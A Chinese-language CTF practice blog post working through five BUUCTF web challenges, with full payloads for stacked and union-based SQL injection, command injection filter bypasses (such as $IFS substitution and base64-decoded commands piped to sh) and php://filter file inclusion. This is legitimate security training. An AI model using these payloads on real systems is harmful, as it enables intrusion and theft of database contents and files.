刷题日记2(buuctf web题)

文章详细介绍了多个CTF比赛中的Web安全题目,包括通过SQL注入技术获取flag的过程,涉及查看数据库表、更改表结构、利用闭包和堆叠注入等技巧,以及文件包含漏洞的利用,如通过filter伪协议和base64解密获取文件内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

六、[强网杯 2019]随便注

首先查看源代码,注释里有提到sqlmap,去学习一下
什么是SQL注入
没啥思路去看看wp ,几乎照搬。
解题直接看下面加粗部分

先输入1’ or 1=1 #注释掉后面的,得到:
在这里插入图片描述
好像没什么用
sql语句中order by 1或者order by 2…order by N
其实1表示第一个栏位,2表示第二栏位
依此类推,当表中只有2个栏位时,oder by 3就会出错

输入:1’ order by 2;#没有报错(这里’ 作用是输入语句的’,order by 是sql查表,#是注释掉后面的东西
输入:1’ order by 3;#报错了,说明没有第三列
在这里插入图片描述
输入:1’; show tables;#展示一下所有的表,这儿找到两个,
一个:1919810931114514
另一个:words
在这里插入图片描述
看一下里面有什么
输入:1’ ;show columns fromwords;# 表名首尾要有`(word左右各有一个,这儿冲突了)
在这里插入图片描述

可以看到words表里有两个属性,即两列:id 和data
输入:1’ ;show columns from1919810931114514;#(记得表名前后有符号哦)
在这里插入图片描述
此表里只有一个属性列,说明输入框可能查询的就是words表
后台sql语句可能为select id,data from words where id=

接下来就是如何获取flag了
思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload:
1’;rename table words to words2;
rename table 1919810931114514 to words;
alter table words change flag id varchar(100);
show tables;
show columns from words;#

关于varchar(100):
4.0版本以下,varchar(100),指的是100字节,如果存放UTF8汉字时,只能存33个(每个汉字3字节)
5.0版本以上,varchar(100),指的是100字符,无论存放的是数字、字母还是UTF8汉字(每个汉字3字节),都可以存放100个。

在这里插入图片描述

MySQL中desc命令的两个用法:
转自:https://blog.youkuaiyun.com/weibo1230123/article/details/90511411
①desc查看表结构的详细信息 desc table_name;

PS:此处desc是describe的缩写,用法: desc 表名/查询语句

②desc降序排列数据 select ename,sal from emp order by sal desc;
手动指定按照薪水由大到小排序(降序关键字desc) select ename,sal from emp order by sal
asc; 手动指定按照薪水由小到大排序(升序关键字 asc) PS:此处desc是descend的缩写, 用法:select *
from 表 order by 字段 desc

照着输不知道为什么报错,换个wp
输入:0’ ;show datebases ;#参看一下所有的库名
在这里插入图片描述
输入:0’ ; select 1,2,databases ;#看一下有哪些被过滤掉的函数,由于select被过滤了,union查询也就用不上了。
在这里插入图片描述
继续查表,刚刚发现flag在1919表中(刚刚查表输入的是1’ ;show columns from1919810931114514;#,这儿还可以用0’ ;desc 1919810931114514 ;#)

接着用改名字的方式获取flag,因为flag在1919的表中,所以我们最后要查询的是1919的表,

注意:在windows系统下,反单引号是数据库、表、索引、列和别名用的引用符 eg. mysql> SELECT * FROM
table WHERE id = ‘123’ ;
1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关

这个地方我不理解,刚刚查表的时候words就是用``引起来了啊

解题过程:

words表里有两列数据,可以推测查询都是在words表里查询的
那么查询语句很有可能是 : selsect id,data from words where id =
那我们就把原来的words表名改成words1,再把有flag的1919表的名字改成words,然后把原来1919表里的flag列改成列名为id,创建一个data列,这样就可以查询啦

输入:0’ ; rename table words to words1; rename table 1919810931114514 to words; alter table words change flag id varchar(100) ;#
这次没有报错
在这里插入图片描述
查询看看新words有没有改flag为id
输入:0’ ;desc words; #
在这里插入图片描述
最后用回显数据的sql注入语句,有其他能回显的永真语句都可以
输入:1’ or 1=1;# ,得到flag

在这里插入图片描述
参考链接

七、[GXYCTF2019]Ping Ping Ping

参考上一题试试
先试着用127.0.0.1|ls查一下目录,第五题是用输入框,这题是用get传参
url/?ip=127.0.0.1|ls
在这里插入图片描述

看到有两个文件,先传个flag.php试试
url/?ip=127.0.0.1|ls/?flag.php

再传此IP试试,没有变化
在这里插入图片描述

再传个index.php试试,还是一样的
在这里插入图片描述
检查源代码也没看到什么提示,cat查看和get传参结果一样,
找找wp吧:wp1 wp2
输入url/?ip=127.0.0.1;cat flag.php,得到的是下图
在这里插入图片描述
所以哪种才是cat传参?
没看wp前我是url/?ip=127.0.0.1;cat /flag.php这样传的
在这里插入图片描述
区别就是我的多个/,symbol是符号
那按照wp走,space是空格,猜测是空格被过滤掉了,可以其他的替代
在这里插入图片描述
第一个失败,符号有问题,用第二个输入url/?ip=127.0.0.1;cat$IFS$1flag.php,提示如下
在这里插入图片描述

这里看到flag也被过滤掉了,那用$IFS$1代替空格cat一下index.php
(这儿$后面的数字1可以换成其他数字)

输入url/?ip=127.0.0.1;cat$IFS$1index.php,可以看到这儿被过滤掉的东西
在这里插入图片描述

解题过程:

下面提供几种绕过的方法

第一种:

最后一个过滤掉的是xxxfxxxlxxxaxxxgxxx,
用a替换flag中的g,
尝试构造/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

在这里插入图片描述
得到flag(这儿也可以多用几个变量互换传递,绕过字符串匹配,实现拼接)

第二种:

将cat flag.php进行base64编码,得到Y2F0IGZsYWcucGhw,
再用base64-d命令来执行
虽然过滤了bash但大部分仍然可以用sh来执行
(找到几个资料,以后看吧:
Linux下shell脚本:bash的介绍和使用(详细)
bash命令
bash运行脚本得几种方法

构造echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
不能直接放url后面,那应该写成
url/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh这样吧

在这里插入图片描述
得到flag
这里不懂管道符|的意思,换成;就不行,127.0.0.1后的;也可以换成|
|:直接执行|后面的语句
; :前后都执行,无论前面真假,同&

第三种:

内联执行的方法
所谓内联,就是将反引号内命令的输出作为输入执行
构造url/?ip=127.0.0.1;cat$IFS$1`ls`

在这里插入图片描述
这个wp最后提供了绕过方法,如果没过滤那些字符,好多就可以用的

类似题的大致思路:

cat fl* 用匹配任意 cat fla 用*匹配任意 ca\t fla\g.php 反斜线绕过 cat
fl’'ag.php 两个单引号绕过 echo “Y2F0IGZsYWcucGhw” | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo “63617420666c61672e706870” | xxd -r -p | bash
//hex编码绕过(引号可以去掉)

echo “63617420666c61672e706870” | xxd -r -p | sh //sh的效果和bash一样

cat fl[a]g.php 用[]匹配

下面是接上面的引用

a=fl;b=ag;cat $a$b      变量替换 
cp fla{g.php,G}    把flag.php复制为flaG 
ca${21}t a.txt     利用空变量  
使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 
因为在没有传参的情况下,上面的特殊变量都是为空的

通配符:

*#匹配全部字符,通配符
? #任意一个字符,通配符
[] #表示一个范围(正则,通配符)
{} #产生一个序列(通配符)
在这里插入图片描述

八、[SUCTF 2019]EasySQL

在这里插入图片描述
随意输入1
在这里插入图片描述
输入1’ or 1=1 #闭包处理
在这里插入图片描述
仿照第六题,
查一下表名:0’ ;show tables ;# ,没有回显
查一下库名:0’ ;show datebases ;#,没有回显
查一下有哪些被过滤掉的东西:0’ ; select 1,2,databases ;#,没有回显

这里我不理解为什么不能用闭包

输入:1;show databases;判断注入类型
在这里插入图片描述
判断需要用堆叠注入
学习一下堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如:select * from users;show databases;

输入:1;show tables;
在这里插入图片描述
当前在表flag中

这道题目需要我们去对后端语句进行猜解

1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

2、也就是select 输入的数据||内置的一个列名 from 表名=>即为

后台语句为:select $post[‘query’]||flag from Flag

直接看解法,还是有点懵,里面还有很多不懂得语法

①输入:*,1

内置的sql语句为select $_POST['query'] || flag from flag
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,
也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容

在这里插入图片描述
②输入:1;set sql_mode=pipes_as_concat;select 1

其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,
我们执行的语句分别为select 1
和set sql_mode=pipes_as_concat
和select 1||flag from Flag,
读出flag

在这里插入图片描述

九、[极客大挑战 2019]Secret File

先查看源代码
在这里插入图片描述
发现有个叫Archive_room.php的文件,放入url看看
在这里插入图片描述
点击SECRET(秘密),说查阅结束在这里插入图片描述
查看源码也没发现什么,那就在SECRET那查看源码,nothing,在点击SECRET那抓个包看看,重发发现了注释里有secr3t.php文件
在这里插入图片描述

放入url看看

在这里插入图片描述
代码审计一下吧(我不太会),需要有file,然后flag在flag.php那。

单纯的url/flag.php得不到任何东西,查看wp,解释如下:这里它利用了filter伪协议,该协议刚好就能够查看文件包含的漏洞,所以当我们利用该协议查看flag.php时,会将它的源代码爆出来,但是因为base64的加密原因,所以我们还需要进行一次base64解密。

那先构造一下:url?file=php://filter/convert.base64-encode/resource=flag.php
利用火狐里的HackBar可以快速构造,把page改成file,把index.php改成flag.php
LFI:漏洞
wrapper:封装
在这里插入图片描述

得到下面一串符号,是经过base64加密的,那我们解密看看吧

在这里插入图片描述

解密完就可以看到flag啦

在这里插入图片描述

十、[极客大挑战 2019]LoveSQL

这题不太会,就是爆表爆字符段的那些不会写,几乎照搬wp

尝试万能密码
在这里插入图片描述
登录成功,可是这不是flag,用md5解密无果
在这里插入图片描述
这主要还是注入查询字符段
url中输入:
/check.php?username=admin' order by 3%23&password=1(这儿是直接在url中输入的,所以#要url加密成%23)
在这里插入图片描述
输入:

/check.php?username=admin' order by 4%23&password=1

报错,说明只有三个字段
在这里插入图片描述
用union查询测试注入点(回显点位):

/check.php?username=1' union select 1,2,3%23&password=1

得到回显点位为2和3(这里不理解在干嘛)
在这里插入图片描述

查询当前数据库名及版本:

/check.php?username=1' union select 1,database(),version()%23&password=1

可知当前数据库为geek

在这里插入图片描述
接下来爆表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

说明有两个表,geekuser,l0ve1ysq1

在这里插入图片描述
查一下第二个表
爆字段:/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
这儿可以看到有三个字段
在这里插入图片描述
接着爆数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

看到了flag
在这里插入图片描述
查看源代码方便复制一下flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值